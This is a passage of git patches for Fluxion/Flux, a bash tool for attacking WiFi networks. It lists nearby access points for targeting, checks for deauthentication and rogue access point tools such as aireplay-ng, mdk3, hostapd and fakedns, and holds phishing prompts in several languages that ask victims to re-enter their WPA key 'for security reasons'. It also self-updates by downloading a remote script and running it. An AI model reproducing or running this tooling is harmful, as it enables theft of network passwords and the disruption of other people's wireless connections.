$DUMP_PATH/clientes.csv + echo " WIFI LIST " + echo "" + echo " # MAC CHAN SECU PWR ESSID" + echo "" + i=0 + + while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do + longueur=${#MAC} + PRIVACY=$(echo $PRIVACY| tr -d "^ ") + PRIVACY=${PRIVACY:0:4} + if [ $longueur -ge 17 ]; then + i=$(($i+1)) + POWER=`expr $POWER + 100` + CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` + + if [ "$CLIENTE" != "" ]; then + CLIENTE="*" + fi + + echo -e " ""$green "$i")"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$red" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent"" + aidlenght=$IDLENGTH + assid[$i]=$ESSID + achannel[$i]=$CHANNEL + amac[$i]=$MAC + aprivacy[$i]=$PRIVACY + aspeed[$i]=$SPEED + fi + done < $DUMP_PATH/dump-02.csv + echo + echo -e ""$green "("$white"*"$green ")Active clients"$transparent"" + echo "" + echo " Select Target " + echo -n " #> " + read choice + idlenght=${aidlenght[$choice]} + ssid=${assid[$choice]} + channel=$(echo ${achannel[$choice]}|tr -d [:space:]) + mac=${amac[$choice]} + privacy=${aprivacy[$choice]} + speed=${aspeed[$choice]} + Host_IDL=$idlength + Host_SPEED=$speed + Host_ENC=$privacy + Host_MAC=$mac + Host_CHAN=$channel + acouper=${#ssid} + fin=$(($acouper-idlength)) + Host_SSID=${ssid:1:fin} + echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" From 1f85b80e773ca5531a3af6e9ac289b60059cdc9a Mon Sep 17 00:00:00 2001 From: Apathetic Euphoria Date: Sat, 12 Mar 2016 13:02:47 -0800 Subject: [PATCH 012/294] Update fluxion --- kali/fluxion | 32 ++++++++++++++++---------------- 1 file changed, 16 insertions(+), 16 deletions(-) diff --git a/kali/fluxion b/kali/fluxion index 0e577d7..5e98f56 100755 --- a/kali/fluxion +++ b/kali/fluxion @@ -1254,7 +1254,7 @@ run_mdk3_EAPOL5() conditional_clear mostrarheader -echo "§How many wlan WIFI_MONITORs§" +echo "#### How many Wlan Adapters will you use? ####" echo " " echo -e ""$blue"1)"$transparent" 1 ADAPTER" echo -e ""$blue"2)"$transparent" 2 ADAPTERS" @@ -1270,7 +1270,7 @@ case $a in 1) clear echo -read -p " - What is the name of your Wlan WIFI_MONITOR (Ex:wlan0) - ": ADAPTER; +read -p " - What is the name of your Wlan Adapter? (Ex:wlan0) - ": ADAPTER; clear @@ -1489,10 +1489,10 @@ clear conditional_clear mostrarheader echo -read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR; +read -p " - What is the name of your 1st Wlan Adapter? (Ex:Wlan0) - ": WIFI_MONITOR; clear echo -read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; +read -p " - What is the name of your 2nd Wlan Adapter? (Ex:Wlan1) - ": WIFI_MONITOR2; clear scan_for_targets @@ -1653,13 +1653,13 @@ mostrarheader 3) clear echo -read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR; +read -p " - What is the name of your 1st Wlan Adapter? (Ex:Wlan0) - ": WIFI_MONITOR; clear echo -read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; +read -p " - What is the name of your 2nd Wlan Adapter? (Ex:Wlan1) - ": WIFI_MONITOR2; clear echo -read -p " - What is the name of your 3rd Wlan WIFI_MONITOR (Ex:Wlan2) - ": WIFI_MONITOR3; +read -p " - What is the name of your 3rd Wlan Adapter? (Ex:Wlan2) - ": WIFI_MONITOR3; clear scan_for_targets @@ -1825,16 +1825,16 @@ menu 4) clear echo -read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR; +read -p " - What is the name of your 1st Wlan Adapter? (Ex:Wlan0) - ": WIFI_MONITOR; clear echo -read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; +read -p " - What is the name of your 2nd Wlan Adapter? (Ex:Wlan1) - ": WIFI_MONITOR2; clear echo -read -p " - What is the name of your 3rd Wlan WIFI_MONITOR (Ex:Wlan2) - ": WIFI_MONITOR3; +read -p " - What is the name of your 3rd Wlan Adapter? (Ex:Wlan2) - ": WIFI_MONITOR3; clear echo -read -p " - What is the name of your 4th Wlan WIFI_MONITOR (Ex:Wlan3) - ": WIFI_MONITOR4; +read -p " - What is the name of your 4th Wlan Adapter? (Ex:Wlan3) - ": WIFI_MONITOR4; clear scan_for_targets @@ -2001,16 +2001,16 @@ menu 5) clear echo -read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR; +read -p " - What is the name of your 1st Wlan Adapter? (Ex:Wlan0) - ": WIFI_MONITOR; clear echo -read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; +read -p " - What is the name of your 2nd Wlan Adapter? (Ex:Wlan1) - ": WIFI_MONITOR2; clear echo -read -p " - What is the name of your 3rd Wlan WIFI_MONITOR (Ex:Wlan2) - ": WIFI_MONITOR3; +read -p " - What is the name of your 3rd Wlan Adapter? (Ex:Wlan2) - ": WIFI_MONITOR3; clear echo -read -p " - What is the name of your 4th Wlan WIFI_MONITOR (Ex:Wlan3) - ": WIFI_MONITOR4; +read -p " - What is the name of your 4th Wlan Adapter? (Ex:Wlan3) - ": WIFI_MONITOR4; clear echo read -p " - What is the name of your 5th Wlan WIFI_MONITOR (Ex:Wlan4) - ": WIFI_MONITOR5; @@ -2032,7 +2032,7 @@ enable_mon_mode_5 clear -echo "************** - Would you like to set ALL Wlan WIFI_MONITORs to the same MAC Address? - ************** +echo "************** - Would you like to set ALL Wlan Adapters to the same MAC Address? - ************** 1)Yes 2)No" From 9e2d7234910d441b80c9b26445cf3e5ac3aa6b09 Mon Sep 17 00:00:00 2001 From: William Todt Date: Sun, 13 Mar 2016 01:11:16 +0400 Subject: [PATCH 013/294] Create header.sh --- kali/test/header.sh | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100644 kali/test/header.sh diff --git a/kali/test/header.sh b/kali/test/header.sh new file mode 100644 index 0000000..dad8ff1 --- /dev/null +++ b/kali/test/header.sh @@ -0,0 +1,11 @@ +function mostrarheader(){ + + conditional_clear + echo -e "$blue#########################################################" + echo -e "$blue# $red FLUXION $version" "${yellow} ${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture" ${blue}" #" + echo -e "$blue#"${yellow} by "${rot}D""${yellow}eltax", "${red}"S""${yellow}"trasharo and "${red}A""${yellow}patheticEuphoria"" ${blue}#"" + echo -e "$blue# #" + echo -e "$blue#########################################################""$transparent" + echo + echo +} From d35dfb8e3c3539efec38f3e29e9025de945b3c17 Mon Sep 17 00:00:00 2001 From: Apathetic Euphoria Date: Sat, 12 Mar 2016 13:27:45 -0800 Subject: [PATCH 014/294] Update header.sh Fixed --- kali/test/header.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/kali/test/header.sh b/kali/test/header.sh index dad8ff1..93d4811 100644 --- a/kali/test/header.sh +++ b/kali/test/header.sh @@ -2,8 +2,8 @@ function mostrarheader(){ conditional_clear echo -e "$blue#########################################################" - echo -e "$blue# $red FLUXION $version" "${yellow} ${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture" ${blue}" #" - echo -e "$blue#"${yellow} by "${rot}D""${yellow}eltax", "${red}"S""${yellow}"trasharo and "${red}A""${yellow}patheticEuphoria"" ${blue}#"" + echo -e "$blue# $red FLUXION $version" "${yellow} ${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture " ${blue}" #" + echo -e "$blue#"${yellow} by "${red}D""${yellow}eltax", "${red}"S""${yellow}"trasharo and "${red}A""${yellow}patheticEuphoria" " ${blue}#"" echo -e "$blue# #" echo -e "$blue#########################################################""$transparent" echo From 6b7b0ea781a2b135a2eec74ed8aa59fdaaeba2b8 Mon Sep 17 00:00:00 2001 From: William Todt Date: Sun, 13 Mar 2016 01:41:26 +0400 Subject: [PATCH 015/294] Update fluxion --- kali/fluxion | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/kali/fluxion b/kali/fluxion index 5e98f56..9618edc 100755 --- a/kali/fluxion +++ b/kali/fluxion @@ -256,12 +256,13 @@ function mostrarheader(){ conditional_clear echo -e "$blue#########################################################" echo -e "$blue# #" - echo -e "$blue#$red FLUXION $version" "${yellow}by ""${blue}deltax and strasharo""$blue #"${blue} - echo -e "$blue#""${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture" + echo -e "$blue# $red FLUXION $version" "${yellow} ${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture " ${blue}" #" + echo -e "$blue#"${yellow} by "${red}D""${yellow}eltax", "${red}"S""${yellow}"trasharo and "${red}A""${yellow}patheticEuphoria" " ${blue}#"" echo -e "$blue# #" echo -e "$blue#########################################################""$transparent" echo echo + } ##################################### < CONFIGURACION > ##################################### From 0ef598da7cc4f0fc056a998b9f3a1ab6228670d7 Mon Sep 17 00:00:00 2001 From: William Todt Date: Sun, 13 Mar 2016 01:44:41 +0400 Subject: [PATCH 016/294] Update fluxion --- kali/fluxion | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/kali/fluxion b/kali/fluxion index 9618edc..32617b2 100755 --- a/kali/fluxion +++ b/kali/fluxion @@ -251,12 +251,14 @@ DIALOG_WEB_LENGHT_MIN_POR="A senha deve ter mais de 7 caracteres" DIALOG_WEB_LENGHT_MAX_POR="A chave deve ser menor que 64 caracteres" # Design +#* * +#*+++* function mostrarheader(){ conditional_clear echo -e "$blue#########################################################" echo -e "$blue# #" - echo -e "$blue# $red FLUXION $version" "${yellow} ${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture " ${blue}" #" + echo -e "$blue# $red FLUXION $version" "${yellow} ${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture " ${blue}" #" echo -e "$blue#"${yellow} by "${red}D""${yellow}eltax", "${red}"S""${yellow}"trasharo and "${red}A""${yellow}patheticEuphoria" " ${blue}#"" echo -e "$blue# #" echo -e "$blue#########################################################""$transparent" From 45790d4be05842b5d7f74cd7c95db1df284b8498 Mon Sep 17 00:00:00 2001 From: William Todt Date: Sun, 13 Mar 2016 02:42:45 +0400 Subject: [PATCH 017/294] Create flux --- nightly/0.19/flux/flux | 1803 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 1803 insertions(+) create mode 100644 nightly/0.19/flux/flux diff --git a/nightly/0.19/flux/flux b/nightly/0.19/flux/flux new file mode 100644 index 0000000..7817326 --- /dev/null +++ b/nightly/0.19/flux/flux @@ -0,0 +1,1803 @@ +#!/bin/bash + +########## DEBUG Mode ########## +## ## + FLUX_DEBUG=0 +## ## +################################ + + + + +clear + +##################################### < CONFIGURATION > ##################################### + + +DUMP_PATH="/tmp/TMPflux" +# Number de desautentificaciones +DEAUTHTIME="30" +revision=5 +version=0.17 +IP=192.168.1.1 +RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) + +#Colores +white="\033[1;37m" +grey="\033[0;37m" +red2="\033[0;35m" +red="\033[1;31m" +green="\033[1;32m" +yellow="\033[1;33m" +blue="\033[1;34m" +transparent="\e[0m" +############################################################################################## + +# DEBUG MODE = 1 ; DEBUG MODE = 0 [Normal Mode / Developer Mode] +if [ $FLUX_DEBUG = 1 ]; then + ## Developer Mode + export flux_output_device=/dev/stdout + HOLD="-hold" +else + ## Normal Mode + export flux_output_device=/dev/null + HOLD="" +fi + +# Delete Log only in Normal Mode ! +function conditional_clear() { + + if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi +} + +# Check Updates +function checkupdatess { + + revision_online="$(timeout -s SIGTERM 20 curl -L "https://sites.google.com/site/deltaxflux/flux" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" + if [ -z "$revision_online" ]; then + echo "?">$DUMP_PATH/Irev + else + echo "$revision_online">$DUMP_PATH/Irev + fi + +} + +# Animation +function spinner { + + local pid=$1 + local delay=0.15 + local spinstr='|/-\' + while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do + local temp=${spinstr#?} + printf " [%c] " "$spinstr" + local spinstr=$temp${spinstr%"$temp"} + sleep $delay + printf "\b\b\b\b\b\b" + done + printf " \b\b\b\b" +} + +# ERROR Report only in Developer Mode +# FLUXION = Developer Mode +# Fluxass = Normal Mode +if [ "$FLUX_DEBUG" = "1" ]; then + trap 'err_report $FLUXION' ERR +fi + +# ERROR Report Normale Mode +function err_report { + echo "Error en la fluxass $1" +} + + +#If the script exits unexpectedly +trap exitmode SIGINT SIGHUP + +# KILL ALL +function exitmode { + + echo -e "\n\n"$white"["$red" "$white"] "$red"Cleaning and closing"$transparent"" + + if ps -A | grep -q aireplay-ng; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"aireplay-ng"$transparent"" + killall aireplay-ng &>$flux_output_device + fi + + if ps -A | grep -q airodump-ng; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"airodump-ng"$transparent"" + killall airodump-ng &>$flux_output_device + fi + + if ps a | grep python| grep fakedns; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"python"$transparent"" + kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device + fi + + if ps -A | grep -q hostapd; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"hostapd"$transparent"" + killall hostapd &>$flux_output_device + fi + + if ps -A | grep -q lighttpd; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"lighttpd"$transparent"" + killall lighttpd &>$flux_output_device + fi + + if ps -A | grep -q dhcpd; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"dhcpd"$transparent"" + killall dhcpd &>$flux_output_device + fi + + if ps -A | grep -q mdk3; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"mdk3"$transparent"" + killall mdk3 &>$flux_output_device + fi + + if [ "$WIFI_MONITOR" != "" ]; then + echo -e ""$white"["$red"-"$white"] "$white"Stopping interface "$green "$WIFI_MONITOR"$transparent"" + airmon-ng stop $WIFI_MONITOR &> $flux_output_device + fi + + + + if [ "$WIFI" != "" ]; then + echo -e ""$white"["$red"-"$white"] "$white"Stopping interface "$green "$WIFI"$transparent"" + airmon-ng stop $WIFI &> $flux_output_device + fi + + if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then + echo -e ""$white"["$red"-"$white"] "$white"Restoring "$grey"ipforwarding"$transparent"" + echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding + fi + + echo -e ""$white"["$red"-"$white"] "$white"Cleaning "$grey"iptables"$transparent"" + iptables --flush + iptables --table nat --flush + iptables --delete-chain + iptables --table nat --delete-chain + + echo -e ""$white"["$red"-"$white"] "$white"Restoring "$grey"tput"$transparent"" + tput cnorm + + if [ $FLUX_DEBUG != 1 ]; then + + echo -e ""$white"["$red"-"$white"] "$white"Delete "$grey"files"$transparent"" + rm -R $DUMP_PATH/* &>$flux_output_device + fi + + echo -e ""$white"["$red"-"$white"] "$white"Restarting "$grey"NetworkManager"$transparent"" + service restart network-manager &> $flux_output_device & + + echo -e ""$white"["$green "+"$white"] "$green "Cleaning performed successfully!"$transparent"" + exit + +} + +# Genera listado de Interfaces en el Script +readarray -t webinterfaces < <(echo -e "Web Interface +\e[1;31mExit"$transparent"" +) + +# Genera listado de Idiomas web +readarray -t webinterfaceslenguage < <(echo -e "Engish [ENG] +Spanish[ESP] GERMAN [GER] +\e[1;31mBack"$transparent"" +) + +#Language for Web Interface +#GER +DIALOG_WEB_INFO_GER="Aus Sicherheitsgründen, geben sie bitte "$Host_ENC" den WPA2 Schlüssel ein" +DIALOG_WEB_INPUT_GER="Geben sie den WPA2 Schlüssel ein" +DIALOG_WEB_SUBMIT_GER="Bestätigen" +DIALOG_WEB_ERROR_GER="Error: Das eingegebene Passwort ist nicht Korrekt!" +DIALOG_WEB_OK_GER="Die Verbindung wird in wenigen Sekunden wiederhergestellt" +DIALOG_WEB_BACK_GER="Back" +DIALOG_WEB_LENGHT_MIN_GER="Das Passwort muss länger als 7 Zeichen sein" +DIALOG_WEB_LENGHT_MAX_GER="Das Passwort muss kürzer als 64 Zeichen sein" + +#EN +DIALOG_WEB_INFO_ENG="For security reasons, enter the "$Host_ENC" key to access the Internet" +DIALOG_WEB_INPUT_ENG="Enter your WPA password:" +DIALOG_WEB_SUBMIT_ENG="Submit" +DIALOG_WEB_ERROR_ENG="Error: The entered password is NOT correct!" +DIALOG_WEB_OK_ENG="Your connection will be restored in a few moments." +DIALOG_WEB_BACK_ENG="Back" +DIALOG_WEB_LENGHT_MIN_ENG="The password must be more than 7 characters" +DIALOG_WEB_LENGHT_MAX_ENG="The password must be less than 64 characters" + +#ESP +DIALOG_WEB_INFO_ESP="Por razones de seguridad, introduzca la contraseña "$Host_ENC" para acceder a Internet" +DIALOG_WEB_INPUT_ESP="Introduzca su contraseña WPA:" +DIALOG_WEB_SUBMIT_ESP="Enviar" +DIALOG_WEB_ERROR_ESP="Error: La contraseña introducida NO es correcta!" +DIALOG_WEB_OK_ESP="Su conexión se restablecerá en breves momentos." +DIALOG_WEB_BACK_ESP="Atrás" +DIALOG_WEB_LENGHT_MIN_ESP="La clave debe ser superior a 7 caracteres" +DIALOG_WEB_LENGHT_MAX_ESP="La clave debe ser inferior a 64 caracteres" + +#IT +DIALOG_WEB_INFO_IT="Per motivi di sicurezza, immettere la chiave "$Host_ENC" per accedere a Internet" +DIALOG_WEB_INPUT_IT="Inserisci la tua password WPA:" +DIALOG_WEB_SUBMIT_IT="Invia" +DIALOG_WEB_ERROR_IT="Errore: La password NON è corretta!" +DIALOG_WEB_OK_IT="La connessione sarà ripristinata in pochi istanti." +DIALOG_WEB_BACK_IT="Indietro" +DIALOG_WEB_LENGHT_MIN_IT="La password deve essere superiore a 7 caratteri" +DIALOG_WEB_LENGHT_MAX_IT="La password deve essere inferiore a 64 caratteri" + +#FR +DIALOG_WEB_INFO_FR="Pour des raisons de sécurité, veuillez introduire "$Host_ENC" votre clé pour acceder à Internet" +DIALOG_WEB_INPUT_FR="Entrez votre clé WPA:" +DIALOG_WEB_SUBMIT_FR="Valider" +DIALOG_WEB_ERROR_FR="Error: La clé que vous avez introduit NOT est incorrecte!" +DIALOG_WEB_OK_FR="Veuillez patienter quelques instants." +DIALOG_WEB_BACK_FR="Précédent" +DIALOG_WEB_LENGHT_MIN_FR="La passe dois avoir plus de 7 digits" +DIALOG_WEB_LENGHT_MAX_FR="La passe dois avoir moins de 64 digits" + +#POR +DIALOG_WEB_INFO_POR="Por razões de segurança, digite a senha para acessar a Internet" +DIALOG_WEB_INPUT_POR="Digite sua senha WPA" +DIALOG_WEB_SUBMIT_POR="Enviar" +DIALOG_WEB_ERROR_POR="Erro: A senha digitada NÃO está correto !" +DIALOG_WEB_OK_POR="Sua conexão é restaurada em breve." +DIALOG_WEB_BACK_POR="Voltar" +DIALOG_WEB_LENGHT_MIN_POR="A senha deve ter mais de 7 caracteres" +DIALOG_WEB_LENGHT_MAX_POR="A chave deve ser menor que 64 caracteres" + +# Design +function mostrarheader(){ + + conditional_clear + echo -e "$green #########################################################" + echo -e "$green # #" + echo -e "$green #$red FLUX $version" "${yellow}by ""${blue}deltax""$green #"${blue} + echo -e "$green #""${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}N""${yellow}ot a ""${red}S""${yellow}ocial ""${red}E""${yellow}nginering" "${red}T""${yellow}ool""$green #" + echo -e "$green # #" + echo -e "$green #########################################################""$transparent" + echo + echo +} + +##################################### < CONFIGURACION > ##################################### + + + + + + +############################################## < START > ############################################## + + +if ! [ $(id -u) = "0" ] 2>/dev/null; then + echo -e "\e[1;31mYou don't have admin privilegies"$transparent"" + exit +fi + +# Check requirements +function checkdependences { + + echo -ne "Aircrack-ng....." + if ! hash aircrack-ng 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Aireplay-ng....." + if ! hash aireplay-ng 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Airmon-ng......." + if ! hash airmon-ng 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Airodump-ng....." + if ! hash airodump-ng 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Awk............." + if ! hash awk 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Curl............" + if ! hash curl 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Dhcpd..........." + if ! hash dhcpd 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Hostapd........." + if ! hash hostapd 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Iwconfig........" + if ! hash iwconfig 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Lighttpd........" + if ! hash lighttpd 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Macchanger......" + if ! hash macchanger 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Mdk3............" + if ! hash mdk3 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Nmap............" + if ! [ -f /usr/bin/nmap ]; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Php5-cgi........" + if ! [ -f /usr/bin/php-cgi ]; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Pyrit..........." + if ! hash pyrit 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Python.........." + if ! hash python 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Unzip..........." + if ! hash unzip 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + echo -ne "Xterm..........." + if ! hash xterm 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + salir=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + + if [ "$salir" = "1" ]; then + exit 1 + fi + + sleep 1 + clear +} +mostrarheader +checkdependences + +# Create Workbook +if [ ! -d $DUMP_PATH ]; then + mkdir $DUMP_PATH &>$flux_output_device +fi + + +if [ $FLUX_DEBUG != 1 ]; then + + echo "" + sleep 0.1 && echo -e $red " LUXFLUXFLUX UXF UXF UX UX" + sleep 0.1 && echo -e $red " LUXFLUXFLUX UXF UXF UX UX" + sleep 0.1 && echo -e $red " LU UX XF UXF FL FL " + sleep 0.1 && echo -e $red " LUXFLU UX XF UXF LUXF" + sleep 0.1 && echo -e $red " LUXFL UX XF UXF LUX" + sleep 0.1 && echo -e $red " LU UX XF UXF FLUXF " + sleep 0.1 && echo -e $red " LU UX XFL UXF XFL FL " + sleep 0.1 && echo -e $red " LU UXFLUXFL FLUXFLUX XF LUXF" + echo "" + + sleep 1 + echo -e $red" FLUX "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" deltax" + sleep 1 + echo -e $green " Page:"$red"www.flux.jimdo.de "$transparent + sleep 1 + echo -n " Latest rev." + tput civis + checkupdatess & + spinner "$!" + revision_online=$(cat $DUMP_PATH/Irev) + echo -e ""$white" [${red2}${revision_online}$white"$transparent"]" + if [ "$revision_online" != "?" ]; then + + if [ "$revision" != "$revision_online" ]; then + + cp $0 $HOME/flux_rev-$revision.backup + curl -A "Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0" -L https://sites.google.com/site/deltaxflux/flux -s -o $0 + echo + echo + echo -e ""$red" +Updated successfully! Restarting the script to apply the changes ..."$transparent"" + sleep 5 + chmod +x $0 + exec $0 + + fi + fi + echo "" + tput cnorm + sleep 2 + +fi + +# Show info for the selected AP +function infoap { + + Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]` + Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d " " -f 5-` + echo "INFO WIFI" + echo + echo -e " "$green "SSID"$transparent" = $Host_SSID / $Host_ENC" + echo -e " "$green "Channel"$transparent" = $channel" + echo -e " "$green "Speed"$transparent" = ${speed:2} Mbps" + echo -e " "$green "BSSID"$transparent" = $mac (\e[1;33m$Host_MAC_MODEL"$transparent")" + echo +} + +############################################## < START > ############################################## + + + + + + +############################################### < MENU > ############################################### + +# Windows + Resolution +function setresolution { + + function resA { + + TOPLEFT="-geometry 90x13+0+0" + TOPRIGHT="-geometry 83x26-0+0" + BOTTOMLEFT="-geometry 90x24+0-0" + BOTTOMRIGHT="-geometry 75x12-0-0" + TOPLEFTBIG="-geometry 91x42+0+0" + TOPRIGHTBIG="-geometry 83x26-0+0" + } + + function resB { + + TOPLEFT="-geometry 92x14+0+0" + TOPRIGHT="-geometry 68x25-0+0" + BOTTOMLEFT="-geometry 92x36+0-0" + BOTTOMRIGHT="-geometry 74x20-0-0" + TOPLEFTBIG="-geometry 100x52+0+0" + TOPRIGHTBIG="-geometry 74x30-0+0" + } + function resC { + + TOPLEFT="-geometry 100x20+0+0" + TOPRIGHT="-geometry 109x20-0+0" + BOTTOMLEFT="-geometry 100x30+0-0" + BOTTOMRIGHT="-geometry 109x20-0-0" + TOPLEFTBIG="-geometry 100x52+0+0" + TOPRIGHTBIG="-geometry 109x30-0+0" + } + function resD { + TOPLEFT="-geometry 110x35+0+0" + TOPRIGHT="-geometry 99x40-0+0" + BOTTOMLEFT="-geometry 110x35+0-0" + BOTTOMRIGHT="-geometry 99x30-0-0" + TOPLEFTBIG="-geometry 110x72+0+0" + TOPRIGHTBIG="-geometry 99x40-0+0" + } + function resE { + TOPLEFT="-geometry 130x43+0+0" + TOPRIGHT="-geometry 68x25-0+0" + BOTTOMLEFT="-geometry 130x40+0-0" + BOTTOMRIGHT="-geometry 132x35-0-0" + TOPLEFTBIG="-geometry 130x85+0+0" + TOPRIGHTBIG="-geometry 132x48-0+0" + } + function resF { + TOPLEFT="-geometry 100x17+0+0" + TOPRIGHT="-geometry 90x27-0+0" + BOTTOMLEFT="-geometry 100x30+0-0" + BOTTOMRIGHT="-geometry 90x20-0-0" + TOPLEFTBIG="-geometry 100x70+0+0" + TOPRIGHTBIG="-geometry 90x27-0+0" +} + +detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3) +## A) 1024x600 +## B) 1024x768 +## C) 1280x768 +## D) 1280x1024 +## E) 1600x1200 +case $detectedresolution in + "1024x600" ) resA ;; + "1024x768" ) resB ;; + "1280x768" ) resC ;; + "1366x768" ) resC ;; + "1280x1024" ) resD ;; + "1600x1200" ) resE ;; + "1366x768" ) resF ;; + * ) resA ;; +esac +} + +# Choose Interface +function setinterface { + + # Collect all interfaces in montitor mode & stop all + KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'` + + for monkill in ${KILLMONITOR[@]}; do + airmon-ng stop $monkill >$flux_output_device + echo -n "$monkill, " + done + + # Create a variable with the list of physical network interfaces + readarray -t wirelessifaces < <(airmon-ng |grep "-" | cut -d- -f1) + INTERFACESNUMBER=`airmon-ng| grep -c "-"` + + echo + echo + echo Autodetect Resolution ... + echo $detectedresolution + echo + + + + if [ "$INTERFACESNUMBER" -gt "0" ]; then + + echo "Select an interface" + echo + i=0 + + for line in "${wirelessifaces[@]}"; do + i=$(($i+1)) + wirelessifaces[$i]=$line + echo -e "$green ""$i)"$transparent" $line" + done + + echo -n "#? " + read line + PREWIFI=$(echo ${wirelessifaces[$line]} | awk '{print $1}') + + if [ $(echo 